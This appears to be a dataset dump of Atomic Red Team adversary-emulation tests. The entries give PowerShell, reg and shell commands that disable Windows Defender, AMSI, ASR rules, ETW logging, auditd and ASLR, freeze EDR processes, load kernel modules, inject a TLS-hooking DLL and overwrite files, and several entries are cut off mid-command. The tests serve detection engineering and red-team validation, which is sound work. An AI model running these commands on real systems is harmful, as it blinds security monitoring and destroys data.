deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1685: Disable or Modify Tools
Test: Tamper with Windows Defender Registry - Powershell
Platforms: windows
Executor: powershell

Description:
Disable Windows Defender by tampering with windows defender registry through powershell


Command:
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Mic

Cleanup:
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection
Atomic Red Team — T1685: Disable or Modify Tools
Test: ESXi - Disable Account Lockout Policy via PowerCLI
Platforms: linux
Executor: powershell

Description:
An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting.


Command:
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false
Disconnect-VIServer -Confirm:$false


Dependencies:
Check if VMWARE PowerCLI PowerShell Module is installed.
Atomic Red Team — T1685: Disable or Modify Tools
Test: Delete Microsoft Defender ASR Rules - InTune
Platforms: windows
Executor: powershell

Description:
This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates an InTune-based rules deployment.

Command:
$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager"

if (-not (Test-Path $registryPath)) {
  New-Item -Path $registryPath -Force
  Write-Host "Registry key created: $registryPath"
}

$registryValueName = "ASRRules"

if (Test-Path "$registryPath\$registryValueName") {
  Remove-ItemProperty -Path $registryPath -Name $registryValueName
  Write-Host "Registry value deleted: $registryValueName"
} else {
  New-ItemProperty -Path $registryPath -Name $registryValueName -PropertyType String -Value "36[PII_REDACTED]-49e8-8b27-eb1d0a1ce869=1" -Force
  Write-Host "Registry value created: $registryValueName"
}


Remove-ItemProperty -Path $registryPath -Name $registryValueName
Write-Host "Registry value deleted: $registryValueName"
Atomic Red Team — T1685: Disable or Modify Tools
Test: Delete Microsoft Defender ASR Rules - GPO
Platforms: windows
Executor: powershell

Description:
This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates a GPO-based rules deployment.

Command:
$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules"

if (-not (Test-Path $registryPath)) {
    New-Item -Path $registryPath -Force
    Write-Host "Registry key created: $registryPath"
}

$newValueName = "36[PII_REDACTED]-49e8-8b27-eb1d0a1ce869"
$newValueData = "1"
New-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force
Write-Host "Registry value created: $newValueName with data $newValueData"

Remove-ItemProperty -Path $registryPath -Name $newValueName
Write-Host "Registry value deleted: $newValueName"
Atomic Red Team — T1685: Disable or Modify Tools
Test: AMSI Bypass - Create AMSIEnable Reg Key
Platforms: windows
Executor: powershell

Description:
Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0.
Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d


Command:
New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null


Cleanup:
Remove-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Recurse -Force 2> $null
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable EventLog-Application Auto Logger Session Via Registry - Cmd
Platforms: windows
Executor: command_prompt

Description:
This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.

Command:
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v "Start" /t REG_DWORD /d "0" /f

Cleanup:
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v "Start" /t REG_DWORD /d "1" /f
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable EventLog-Application Auto Logger Session Via Registry - PowerShell
Platforms: windows
Executor: powershell

Description:
This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.

Command:
New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 0 -PropertyType "DWord" -Force

Cleanup:
New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 1 -PropertyType "DWord" -Force
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable EventLog-Application ETW Provider Via Registry - Cmd
Platforms: windows
Executor: command_prompt

Description:
This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.

Command:
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" /v "Enabled" /t REG_DWORD /d "0" /f

Cleanup:
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" /v "Enabled" /t REG_DWORD /d "1" /f
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable EventLog-Application ETW Provider Via Registry - PowerShell
Platforms: windows
Executor: powershell

Description:
This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.

Command:
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" -Name Enabled -Value 0 -PropertyType "DWord" -Force

Cleanup:
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" -Name Enabled -Value 1 -PropertyType "DWord" -Force
Atomic Red Team — T1685: Disable or Modify Tools
Test: Freeze PPL-protected process with EDR-Freeze
Platforms: windows
Executor: powershell

Description:
This test utilizes the tool EDR-Freeze, which leverages the native Microsoft binary WerFaultSecure.exe to suspend processes protected by the Protected Process Light mechanism. PPL is a Windows security feature designed to safeguard critical system processes — such as those related to antivirus, credential protection, and system integrity — from tampering or inspection. These processes operate in a restricted environment that prevents access even from administrators or debugging tools, unless the accessing tool is signed and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently trusted by the operating system, EDR-Freeze is able to bypass these restrictions and temporarily freeze PPL-protected processes for analysis or testing purposes.

Command:
# Enable SeDebugPrivilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class TokenAdjuster {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
        ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    public struct TOKEN_PRIVIL

Cleanup:
Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue
Write-Output "File deleted: $edrFreezeExe"
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable ASLR Via sysctl parameters - Linux
Platforms: linux
Executor: bash

Description:
Detects Execution of the `sysctl` command to set `kernel.randomize_va_space=0` which disables Address Space Layout Randomization (ASLR) in Linux.

Command:
sysctl -w kernel.randomize_va_space=0


Cleanup:
sysctl -w kernel.randomize_va_space=2
Atomic Red Team — T1685: Disable or Modify Tools
Test: Auditing Configuration Changes on Linux Host
Platforms: linux
Executor: bash

Description:
Emulates modification of auditd configuration files


Command:
sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}
else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}
fi 
sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}


Cleanup:
sed -i '$ d' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ d' /etc/#{auditd_config_file_name}
else sed -i '$ d' /etc/audit/#{auditd_config_file_name}
fi
sed -i '$ d' /etc/#{libaudit_config_file_name}
Atomic Red Team — T1685: Disable or Modify Tools
Test: Auditing Configuration Changes on FreeBSD Host
Platforms: linux
Executor: sh

Description:
Emulates modification of auditd configuration files


Command:
echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}


Cleanup:
sed -i "" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name}
Atomic Red Team — T1685: Disable or Modify Tools
Test: Logging Configuration Changes on Linux Host
Platforms: linux
Executor: bash

Description:
Emulates modification of syslog configuration.


Command:
if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi


Cleanup:
if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ d' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ d' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ d' /etc/syslog-ng/#{syslog_ng
Atomic Red Team — T1685: Disable or Modify Tools
Test: Logging Configuration Changes on FreeBSD Host
Platforms: linux
Executor: sh

Description:
Emulates modification of syslog configuration.


Command:
if [ -f "/etc/#{syslog_config_file_name}" ];
then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}
fi


Cleanup:
if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i "" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name}
fi
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable Powershell ETW Provider - Windows
Platforms: windows
Executor: powershell

Description:
This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.

Command:
cmd /c "#{ps_exec_location}" -accepteula -i -s cmd.exe /c logman update trace "#{session}" --p "#{provider}" -ets

Cleanup:
cmd /c "#{ps_exec_location}" -i -s cmd.exe /c logman update trace "#{session}" -p "#{provider}" -ets

Dependencies:
PSExec must be installed on the machine.
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable .NET Event Tracing for Windows Via Registry (cmd)
Platforms: windows
Executor: command_prompt

Description:
Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry

Command:
REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0

Cleanup:
REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > nul 2>&1
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable .NET Event Tracing for Windows Via Registry (powershell)
Platforms: windows
Executor: powershell

Description:
Disables ETW for the .NET Framework using PowerShell to update the Windows registry

Command:
New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType "DWord" -Force

Cleanup:
REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > $null 2>&1
Atomic Red Team — T1685: Disable or Modify Tools
Test: LockBit Black - Disable the ETW Provider of Windows Defender -cmd
Platforms: windows
Executor: command_prompt

Description:
An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a


Command:
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /t REG_DWORD /d 0 /f


Cleanup:
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /f >nul 2>&1
Atomic Red Team — T1685: Disable or Modify Tools
Test: LockBit Black - Disable the ETW Provider of Windows Defender -Powershell
Platforms: windows
Executor: powershell

Description:
An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a


Command:
New-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled  -PropertyType DWord -Value 0 -Force


Cleanup:
Remove-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled -Force -ErrorAction Ignore
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd
Platforms: windows
Executor: command_prompt

Description:
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.

Command:
REG ADD HKCU\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

Cleanup:
REG DELETE HKCU\Environment /v COMPlus_ETWEnabled /f > nul 2>&1
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell
Platforms: windows
Executor: powershell

Description:
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.

Command:
New-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

Cleanup:
Remove-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd
Platforms: windows
Executor: command_prompt

Description:
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.

Command:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

Cleanup:
REG DELETE "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /f > nul 2>&1
Atomic Red Team — T1685: Disable or Modify Tools
Test: Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell
Platforms: windows
Executor: powershell

Description:
Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.

Command:
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

Cleanup:
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled
Atomic Red Team — T1685: Disable or Modify Tools
Test: Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table
Platforms: windows
Executor: powershell

Description:
Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.

Command:
Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Clear-DnsClientCache

Cleanup:
try {
    # Get all current NRPT rules
        $DnsClientNrptRules = Get-DnsClientNrptRule | Where-Object { $_.Comment -eq 'Silenced by Name Resolution Policy Table' }
    
    # Remove each NRPT rule
        foreach ($rule in $DnsClientNrptRules) {
            Remove-DnsClientNrptRule -Name $rule.N
Atomic Red Team — T1547.006: Boot or Logon Autostart Execution: Kernel Modules and Extensions
Test: Linux - Load Kernel Module via insmod
Platforms: linux
Executor: bash

Description:
This test uses the insmod command to load a kernel module for Linux.


Command:
sudo insmod #{module_path}


Cleanup:
sudo rmmod #{module_name}
[ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder}


Dependencies:
The kernel module must exist on disk at specified location
Atomic Red Team — T1547.006: Boot or Logon Autostart Execution: Kernel Modules and Extensions
Test: MacOS - Load Kernel Module via kextload and kmutil
Platforms: macos
Executor: bash

Description:
This test uses the kextload and kmutil commands to load and unload a MacOS kernel module.


Command:
set -x
sudo kextload #{module_path}
kextstat 2>/dev/null | grep SoftRAID
sudo kextunload #{module_path}
sudo kmutil load -p #{module_path}
kextstat 2>/dev/null | grep SoftRAID
sudo kmutil unload -p #{module_path}


Dependencies:
The kernel module must exist on disk at specified location
Atomic Red Team — T1547.006: Boot or Logon Autostart Execution: Kernel Modules and Extensions
Test: MacOS - Load Kernel Module via KextManagerLoadKextWithURL()
Platforms: macos
Executor: bash

Description:
This test uses the IOKit API to load a kernel module for macOS.
Harcoded to use SoftRAID kext


Command:
sudo #{exe_path}
kextstat 2>/dev/null | grep SoftRAID
sudo kextunload /Library/Extensions/SoftRAID.kext


Cleanup:
rm -f #{exe_path}


Dependencies:
The kernel module must exist on disk at specified location
Atomic Red Team — T1547.006: Boot or Logon Autostart Execution: Kernel Modules and Extensions
Test: Snake Malware Kernel Driver Comadmin
Platforms: windows
Executor: powershell

Description:
The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a
single AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\system32\Com directory. 
This Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/[PII_REDACTED]/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)  


Command:
$examplePath = Join-Path $env:windir "system32\Com"; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)


Cleanup:
$examplePath = Join-Path $env:windir "system32\Com"; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }
Atomic Red Team — T1056.004: Input Capture: Credential API Hooking
Test: Hook PowerShell TLS Encrypt/Decrypt Messages
Platforms: windows
Executor: powershell

Description:
Hooks functions in PowerShell to read TLS Communications


Command:
mavinject $pid /INJECTRUNNING "#{file_name}"
Invoke-WebRequest #{server_name} -UseBasicParsing


Dependencies:
T1056.004x64.dll must exist on disk at specified location (#{file_name})
Atomic Red Team — T1485: Data Destruction
Test: Windows - Overwrite file with SysInternals SDelete
Platforms: windows
Executor: powershell

Description:
Overwrites and deletes a file using SysInternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in
the powershell session along with other information about the file that was deleted.


Command:
if (-not (Test-Path "#{file_to_delete}")) { New-Item "#{file_to_delete}" -Force }
& "#{sdelete_exe}" -accepteula "#{file_to_delete}"


Dependencies:
Secure delete tool from SysInternals must exist on disk at specified location (#{sdelete_exe})
Atomic Red Team — T1485: Data Destruction
Test: FreeBSD/macOS/Linux - Overwrite file with DD
Platforms: linux, macos
Executor: sh

Description:
Overwrites and deletes a file using DD.
To stop the test, break the command with CTRL/CMD+C.


Command:
dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes